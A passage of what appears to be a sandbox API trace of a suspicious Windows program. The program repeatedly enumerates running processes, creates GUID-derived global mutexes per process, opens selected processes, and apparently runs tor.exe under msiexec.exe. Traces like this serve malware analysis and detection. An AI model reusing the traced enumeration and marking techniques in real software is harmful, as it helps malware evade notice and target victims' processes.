[3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0120.368] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0120.368] GetLastError () returned 0xb7 [0120.368] CloseHandle (hObject=0x6cc) returned 1 [0120.369] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0120.369] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0120.370] CloseHandle (hObject=0x56c) returned 1 [0120.370] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0120.471] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x6cc [0120.473] Process32FirstW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0120.474] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0120.475] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0120.476] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0120.477] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0120.478] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0120.478] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0120.479] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0120.480] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0120.481] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0120.482] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.482] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.483] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.484] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.485] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.486] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0120.487] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.488] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.488] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0120.489] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.490] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0120.491] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0120.491] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x568 [0120.491] GetLastError () returned 0xb7 [0120.491] CloseHandle (hObject=0x568) returned 1 [0120.491] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0120.492] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0120.492] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x568 [0120.492] GetLastError () returned 0xb7 [0120.492] CloseHandle (hObject=0x568) returned 1 [0120.492] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0120.493] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0120.494] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0120.494] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x568 [0120.494] GetLastError () returned 0x0 [0120.494] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0120.494] CloseHandle (hObject=0x568) returned 1 [0120.494] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0120.495] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0120.495] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x568 [0120.495] GetLastError () returned 0x0 [0120.495] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0120.495] CloseHandle (hObject=0x568) returned 1 [0120.495] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0120.496] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0120.496] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x568 [0120.496] GetLastError () returned 0xb7 [0120.496] CloseHandle (hObject=0x568) returned 1 [0120.496] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0120.497] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0120.497] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x568 [0120.497] GetLastError () returned 0x0 [0120.497] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0120.497] CloseHandle (hObject=0x568) returned 1 [0120.497] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0120.498] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0120.499] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0120.500] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0120.501] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0120.502] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0120.503] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0120.504] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0120.505] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0120.505] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0120.507] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0120.508] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0120.509] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0120.510] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0120.511] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0120.512] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0120.513] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0120.514] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0120.515] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0120.516] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0120.516] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0120.517] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.518] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0120.519] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.520] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0120.521] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0120.522] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0120.522] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0120.523] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0120.524] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.525] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0120.526] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0120.526] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x568 [0120.526] GetLastError () returned 0xb7 [0120.526] CloseHandle (hObject=0x568) returned 1 [0120.526] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0120.527] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0120.528] CloseHandle (hObject=0x6cc) returned 1 [0120.528] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0120.643] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x6cc [0120.691] Process32FirstW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0120.692] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0120.693] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0120.694] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 